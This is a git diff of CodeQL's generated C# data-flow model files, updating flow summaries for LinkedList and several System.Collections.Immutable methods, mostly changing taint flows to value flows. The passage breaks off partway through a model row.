b/csharp/ql/lib/ext/generated/System.Collections.Generic.model.yml index 325945f59044..f889bb823d16 100644 --- a/csharp/ql/lib/ext/generated/System.Collections.Generic.model.yml +++ b/csharp/ql/lib/ext/generated/System.Collections.Generic.model.yml @@ -47,8 +47,12 @@ extensions: - ["System.Collections.Generic", "KeyValuePair", False, "get_Value", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Generic", "LinkedList+Enumerator", False, "get_Current", "()", "", "Argument[this].Property[System.Collections.Generic.LinkedList`1+Enumerator.Current]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Generic", "LinkedList+Enumerator", False, "get_Current", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Generic", "LinkedList", False, "AddAfter", "(System.Collections.Generic.LinkedListNode,System.Collections.Generic.LinkedListNode)", "", "Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.next].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev]", "Argument[1].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev]", "value", "dfc-generated"] - ["System.Collections.Generic", "LinkedList", False, "AddAfter", "(System.Collections.Generic.LinkedListNode,System.Collections.Generic.LinkedListNode)", "", "Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.next]", "Argument[1].SyntheticField[System.Collections.Generic.LinkedListNode`1.next]", "value", "dfc-generated"] + - ["System.Collections.Generic", "LinkedList", False, "AddAfter", "(System.Collections.Generic.LinkedListNode,System.Collections.Generic.LinkedListNode)", "", "Argument[1]", "Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.next].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev]", "value", "dfc-generated"] + - ["System.Collections.Generic", "LinkedList", False, "AddAfter", "(System.Collections.Generic.LinkedListNode,T)", "", "Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.next].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev]", "ReturnValue.SyntheticField[System.Collections.Generic.LinkedListNode`1.prev]", "value", "dfc-generated"] - ["System.Collections.Generic", "LinkedList", False, "AddAfter", "(System.Collections.Generic.LinkedListNode,T)", "", "Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.next]", "ReturnValue.SyntheticField[System.Collections.Generic.LinkedListNode`1.next]", "value", "dfc-generated"] + - ["System.Collections.Generic", "LinkedList", False, "AddBefore", "(System.Collections.Generic.LinkedListNode,System.Collections.Generic.LinkedListNode)", "", "Argument[1]", "Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev]", "value", "dfc-generated"] - ["System.Collections.Generic", "LinkedList", False, "AddBefore", "(System.Collections.Generic.LinkedListNode,System.Collections.Generic.LinkedListNode)", "", "Argument[1]", "Argument[this].SyntheticField[System.Collections.Generic.LinkedList`1.head]", "value", "dfc-generated"] - ["System.Collections.Generic", "LinkedList", False, "AddBefore", "(System.Collections.Generic.LinkedListNode,T)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Collections.Generic", "LinkedList", False, "AddBefore", "(System.Collections.Generic.LinkedListNode,T)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] @@ -60,6 +64,7 @@ extensions: - ["System.Collections.Generic", "LinkedList", False, "AddFirst", "(T)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Collections.Generic", "LinkedList", False, "AddFirst", "(T)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Generic", "LinkedList", False, "AddFirst", "(T)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Generic", "LinkedList", False, "AddLast", "(System.Collections.Generic.LinkedListNode)", "", "Argument[this].SyntheticField[System.Collections.Generic.LinkedList`1.head].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev]", "Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev]", "value", "dfc-generated"] - ["System.Collections.Generic", "LinkedList", False, "AddLast", "(System.Collections.Generic.LinkedListNode)", "", "Argument[this].SyntheticField[System.Collections.Generic.LinkedList`1.head]", "Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.next]", "value", "dfc-generated"] - ["System.Collections.Generic", "LinkedList", False, "AddLast", "(T)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Collections.Generic", "LinkedList", False, "AddLast", "(T)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] @@ -67,8 +72,9 @@ extensions: - ["System.Collections.Generic", "LinkedList", False, "LinkedList", "(System.Collections.Generic.IEnumerable)", "", "Argument[0].Element", "Argument[this]", "taint", "df-generated"] - ["System.Collections.Generic", "LinkedList", False, "LinkedList", "(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Collections.Generic", "LinkedList", False, "Remove", "(System.Collections.Generic.LinkedListNode)", "", "Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.next]", "Argument[this].SyntheticField[System.Collections.Generic.LinkedList`1.head]", "value", "dfc-generated"] + - ["System.Collections.Generic", "LinkedList", False, "Remove", "(System.Collections.Generic.LinkedListNode)", "", "Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev]", "Argument[this].SyntheticField[System.Collections.Generic.LinkedList`1.head].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev]", "value", "dfc-generated"] - ["System.Collections.Generic", "LinkedList", False, "get_First", "()", "", "Argument[this].SyntheticField[System.Collections.Generic.LinkedList`1.head]", "ReturnValue", "value", "dfc-generated"] - - ["System.Collections.Generic", "LinkedList", False, "get_Last", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Generic", "LinkedList", False, "get_Last", "()", "", "Argument[this].SyntheticField[System.Collections.Generic.LinkedList`1.head].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Generic", "LinkedListNode", False, "LinkedListNode", "(T)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Collections.Generic", "LinkedListNode", False, "get_List", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Generic", "LinkedListNode", False, "get_Next", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Collections.Immutable.model.yml b/csharp/ql/lib/ext/generated/System.Collections.Immutable.model.yml index c2b0ddb02cdc..a381e522298e 100644 --- a/csharp/ql/lib/ext/generated/System.Collections.Immutable.model.yml +++ b/csharp/ql/lib/ext/generated/System.Collections.Immutable.model.yml @@ -106,10 +106,10 @@ extensions: - ["System.Collections.Immutable", "ImmutableArray", False, "Slice", "(System.Int32,System.Int32)", "", "Argument[this]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableArray", False, "Sort", "()", "", "Argument[this]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableArray", False, "Sort", "(System.Collections.Generic.IComparer)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableArray", False, "Sort", "(System.Collections.Generic.IComparer)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Immutable", "ImmutableArray", False, "Sort", "(System.Collections.Generic.IComparer)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableArray", False, "Sort", "(System.Comparison)", "", "Argument[this]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableArray", False, "Sort", "(System.Int32,System.Int32,System.Collections.Generic.IComparer)", "", "Argument[this]", "Argument[2]", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableArray", False, "Sort", "(System.Int32,System.Int32,System.Collections.Generic.IComparer)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Immutable", "ImmutableArray", False, "Sort", "(System.Int32,System.Int32,System.Collections.Generic.IComparer)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableArray", False, "ToBuilder", "()", "", "Argument[this].Element", "ReturnValue.Element", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableArray", False, "get_Item", "(System.Int32)", "", "Argument[this].SyntheticField[System.Collections.Immutable.ImmutableArray`1.array].Element", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableDictionary", False, "Create", "(System.Collections.Generic.IEqualityComparer)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] @@ -146,13 +146,14 @@ extensions: - ["System.Collections.Immutable", "ImmutableDictionary+Enumerator", False, "get_Current", "()", "", "Argument[this].Property[System.Collections.Immutable.ImmutableDictionary`2+Enumerator.Current]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableDictionary+Enumerator", False, "get_Current", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableDictionary", False, "Clear", "()", "", "Argument[this]", "ReturnValue", "value", "dfc-generated"] - - ["System.Collections.Immutable", "ImmutableDictionary", False, "Remove", "(TKey)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableDictionary", False, "RemoveRange", "(System.Collections.Generic.IEnumerable)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableDictionary", False, "SetItem", "(TKey,TValue)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableDictionary", False, "SetItems", "(System.Collections.Generic.IEnumerable>)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Immutable", "ImmutableDictionary", False, "Remove", "(TKey)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] + - ["System.Collections.Immutable", "ImmutableDictionary", False, "RemoveRange", "(System.Collections.Generic.IEnumerable)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] + - ["System.Collections.Immutable", "ImmutableDictionary", False, "SetItem", "(TKey,TValue)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] + - ["System.Collections.Immutable", "ImmutableDictionary", False, "SetItems", "(System.Collections.Generic.IEnumerable>)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableDictionary", False, "ToBuilder", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableDictionary", False, "TryGetKey", "(TKey,TKey)", "", "Argument[0]", "Argument[1]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableDictionary", False, "WithComparers", "(System.Collections.Generic.IEqualityComparer)", "", "Argument[0]", "ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableDictionary`2._comparers].SyntheticField[System.Collections.Immutable.ImmutableDictionary`2+Comparers._keyComparer]", "value", "dfc-generated"] + - ["System.Collections.Immutable", "ImmutableDictionary", False, "WithComparers", "(System.Collections.Generic.IEqualityComparer)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableDictionary", False, "WithComparers", "(System.Collections.Generic.IEqualityComparer,System.Collections.Generic.IEqualityComparer)", "", "Argument[0]", "ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableDictionary`2._comparers].SyntheticField[System.Collections.Immutable.ImmutableDictionary`2+Comparers._keyComparer]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableDictionary", False, "WithComparers", "(System.Collections.Generic.IEqualityComparer,System.Collections.Generic.IEqualityComparer)", "", "Argument[1]", "ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableDictionary`2._comparers].SyntheticField[System.Collections.Immutable.ImmutableDictionary`2+Comparers._valueComparer]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableDictionary", False, "WithComparers", "(System.Collections.Generic.IEqualityComparer,System.Collections.Generic.IEqualityComparer)", "", "Argument[this]", "ReturnValue", "value", "dfc-generated"] @@ -172,13 +173,14 @@ extensions: - ["System.Collections.Immutable", "ImmutableHashSet+Builder", False, "TryGetValue", "(T,T)", "", "Argument[0]", "Argument[1]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableHashSet+Enumerator", False, "get_Current", "()", "", "Argument[this].Property[System.Collections.Immutable.ImmutableHashSet`1+Enumerator.Current]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableHashSet+Enumerator", False, "get_Current", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableHashSet", False, "Except", "(System.Collections.Generic.IEnumerable)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Immutable", "ImmutableHashSet", False, "Except", "(System.Collections.Generic.IEnumerable)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableHashSet", False, "Intersect", "(System.Collections.Generic.IEnumerable)", "", "Argument[this]", "ReturnValue", "value", "dfc-generated"] - - ["System.Collections.Immutable", "ImmutableHashSet", False, "Remove", "(T)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Immutable", "ImmutableHashSet", False, "Remove", "(T)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableHashSet", False, "SymmetricExcept", "(System.Collections.Generic.IEnumerable)", "", "Argument[this]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableHashSet", False, "ToBuilder", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableHashSet", False, "TryGetValue", "(T,T)", "", "Argument[0]", "Argument[1]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableHashSet", False, "Union", "(System.Collections.Generic.IEnumerable)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["System.Collections.Immutable", "ImmutableHashSet", False, "Union", "(System.Collections.Generic.IEnumerable)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableHashSet", False, "WithComparer", "(System.Collections.Generic.IEqualityComparer)", "", "Argument[this]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableHashSet", False, "get_KeyComparer", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableInterlocked", False, "AddOrUpdate", "(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func,System.Func)", "", "Argument[1]", "Argument[2].Parameter[0]", "value", "dfc-generated"] @@ -199,17 +201,17 @@ extensions: - ["System.Collections.Immutable", "ImmutableList", False, "Create", "(System.ReadOnlySpan)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableList", False, "Create", "(T)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableList", False, "Create", "(T[])", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableList", False, "CreateRange", "(System.Collections.Generic.IEnumerable)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Immutable", "ImmutableList", False, "CreateRange", "(System.Collections.Generic.IEnumerable)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableList", False, "IndexOf", "(System.Collections.Immutable.IImmutableList,T,System.Collections.Generic.IEqualityComparer)", "", "Argument[0].Element", "Argument[2]", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableList", False, "IndexOf", "(System.Collections.Immutable.IImmutableList,T,System.Collections.Generic.IEqualityComparer)", "", "Argument[1]", "Argument[2]", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableList", False, "LastIndexOf", "(System.Collections.Immutable.IImmutableList,T,System.Collections.Generic.IEqualityComparer)", "", "Argument[0].Element", "Argument[2]", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableList", False, "LastIndexOf", "(System.Collections.Immutable.IImmutableList,T,System.Collections.Generic.IEqualityComparer)", "", "Argument[1]", "Argument[2]", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableList", False, "Remove", "(System.Collections.Immutable.IImmutableList,T)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableList", False, "RemoveRange", "(System.Collections.Immutable.IImmutableList,System.Collections.Generic.IEnumerable)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableList", False, "Replace", "(System.Collections.Immutable.IImmutableList,T,T)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Immutable", "ImmutableList", False, "Remove", "(System.Collections.Immutable.IImmutableList,T)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["System.Collections.Immutable", "ImmutableList", False, "RemoveRange", "(System.Collections.Immutable.IImmutableList,System.Collections.Generic.IEnumerable)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["System.Collections.Immutable", "ImmutableList", False, "Replace", "(System.Collections.Immutable.IImmutableList,T,T)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableList", False, "Replace", "(System.Collections.Immutable.IImmutableList,T,T)", "", "Argument[2]", "Argument[0].Element", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableList", False, "Replace", "(System.Collections.Immutable.IImmutableList,T,T)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableList", False, "ToImmutableList", "(System.Collections.Generic.IEnumerable)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Immutable", "ImmutableList", False, "ToImmutableList", "(System.Collections.Generic.IEnumerable)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableList+Builder", False, "BinarySearch", "(System.Int32,System.Int32,T,System.Collections.Generic.IComparer)", "", "Argument[2]", "Argument[3]", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableList+Builder", False, "BinarySearch", "(System.Int32,System.Int32,T,System.Collections.Generic.IComparer)", "", "Argument[this]", "Argument[3]", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableList+Builder", False, "BinarySearch", "(T,System.Collections.Generic.IComparer)", "", "Argument[0]", "Argument[1]", "taint", "df-generated"] @@ -232,24 +234,23 @@ extensions: - ["System.Collections.Immutable", "ImmutableList", False, "ForEach", "(System.Action)", "", "Argument[this].Element", "Argument[0].Parameter[0]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableList", False, "IndexOf", "(T,System.Int32,System.Int32,System.Collections.Generic.IEqualityComparer)", "", "Argument[0]", "Argument[3]", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableList", False, "LastIndexOf", "(T,System.Int32,System.Int32,System.Collections.Generic.IEqualityComparer)", "", "Argument[0]", "Argument[3]", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableList", False, "Remove", "(T)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Immutable", "ImmutableList", False, "Remove", "(T)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableList", False, "Remove", "(T,System.Collections.Generic.IEqualityComparer)", "", "Argument[0]", "Argument[1]", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableList", False, "Remove", "(T,System.Collections.Generic.IEqualityComparer)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableList", False, "RemoveAt", "(System.Int32)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableList", False, "RemoveRange", "(System.Collections.Generic.IEnumerable)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableList", False, "RemoveRange", "(System.Collections.Generic.IEnumerable,System.Collections.Generic.IEqualityComparer)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Immutable", "ImmutableList", False, "Remove", "(T,System.Collections.Generic.IEqualityComparer)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] + - ["System.Collections.Immutable", "ImmutableList", False, "RemoveAt", "(System.Int32)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] + - ["System.Collections.Immutable", "ImmutableList", False, "RemoveRange", "(System.Collections.Generic.IEnumerable)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableList", False, "RemoveRange", "(System.Collections.Generic.IEnumerable,System.Collections.Generic.IEqualityComparer)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - - ["System.Collections.Immutable", "ImmutableList", False, "RemoveRange", "(System.Int32,System.Int32)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Immutable", "ImmutableList", False, "RemoveRange", "(System.Int32,System.Int32)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableList", False, "Replace", "(T,T)", "", "Argument[1]", "Argument[this]", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableList", False, "Replace", "(T,T)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableList", False, "Replace", "(T,T)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Immutable", "ImmutableList", False, "Replace", "(T,T)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableList", False, "Replace", "(T,T,System.Collections.Generic.IEqualityComparer)", "", "Argument[0]", "Argument[2]", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableList", False, "Replace", "(T,T,System.Collections.Generic.IEqualityComparer)", "", "Argument[1]", "Argument[this]", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableList", False, "Replace", "(T,T,System.Collections.Generic.IEqualityComparer)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableList", False, "Replace", "(T,T,System.Collections.Generic.IEqualityComparer)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Immutable", "ImmutableList", False, "Replace", "(T,T,System.Collections.Generic.IEqualityComparer)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableList", False, "SetItem", "(System.Int32,T)", "", "Argument[1]", "Argument[this]", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableList", False, "SetItem", "(System.Int32,T)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableList", False, "SetItem", "(System.Int32,T)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Immutable", "ImmutableList", False, "SetItem", "(System.Int32,T)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableList", False, "Sort", "()", "", "Argument[this]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableList", False, "Sort", "(System.Collections.Generic.IComparer)", "", "Argument[this]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableList", False, "Sort", "(System.Comparison)", "", "Argument[this]", "ReturnValue", "value", "dfc-generated"] @@ -274,15 +275,15 @@ extensions: - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "CreateBuilder", "(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "CreateBuilder", "(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "CreateRange", "(System.Collections.Generic.IComparer,System.Collections.Generic.IEnumerable>)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "CreateRange", "(System.Collections.Generic.IComparer,System.Collections.Generic.IEnumerable>)", "", "Argument[1].Element", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "CreateRange", "(System.Collections.Generic.IComparer,System.Collections.Generic.IEnumerable>)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "CreateRange", "(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer,System.Collections.Generic.IEnumerable>)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "CreateRange", "(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer,System.Collections.Generic.IEnumerable>)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "CreateRange", "(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer,System.Collections.Generic.IEnumerable>)", "", "Argument[2].Element", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "CreateRange", "(System.Collections.Generic.IEnumerable>)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "ToImmutableSortedDictionary", "(System.Collections.Generic.IEnumerable>)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "ToImmutableSortedDictionary", "(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IComparer)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "CreateRange", "(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer,System.Collections.Generic.IEnumerable>)", "", "Argument[2]", "ReturnValue", "value", "df-generated"] + - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "CreateRange", "(System.Collections.Generic.IEnumerable>)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "ToImmutableSortedDictionary", "(System.Collections.Generic.IEnumerable>)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "ToImmutableSortedDictionary", "(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IComparer)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "ToImmutableSortedDictionary", "(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IComparer)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "ToImmutableSortedDictionary", "(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "ToImmutableSortedDictionary", "(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "ToImmutableSortedDictionary", "(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "ToImmutableSortedDictionary", "(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "ToImmutableSortedDictionary", "(System.Collections.Generic.IEnumerable,System.Func,System.Func)", "", "Argument[0].Element", "Argument[1].Parameter[0]", "value", "dfc-generated"] @@ -303,17 +304,20 @@ extensions: - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "Clear", "()", "", "Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._keyComparer]", "ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._keyComparer]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "Clear", "()", "", "Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._valueComparer]", "ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._valueComparer]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "Clear", "()", "", "Argument[this]", "ReturnValue", "value", "dfc-generated"] - - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "Remove", "(TKey)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "RemoveRange", "(System.Collections.Generic.IEnumerable)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "Remove", "(TKey)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] + - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "RemoveRange", "(System.Collections.Generic.IEnumerable)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "SetItem", "(TKey,TValue)", "", "Argument[0]", 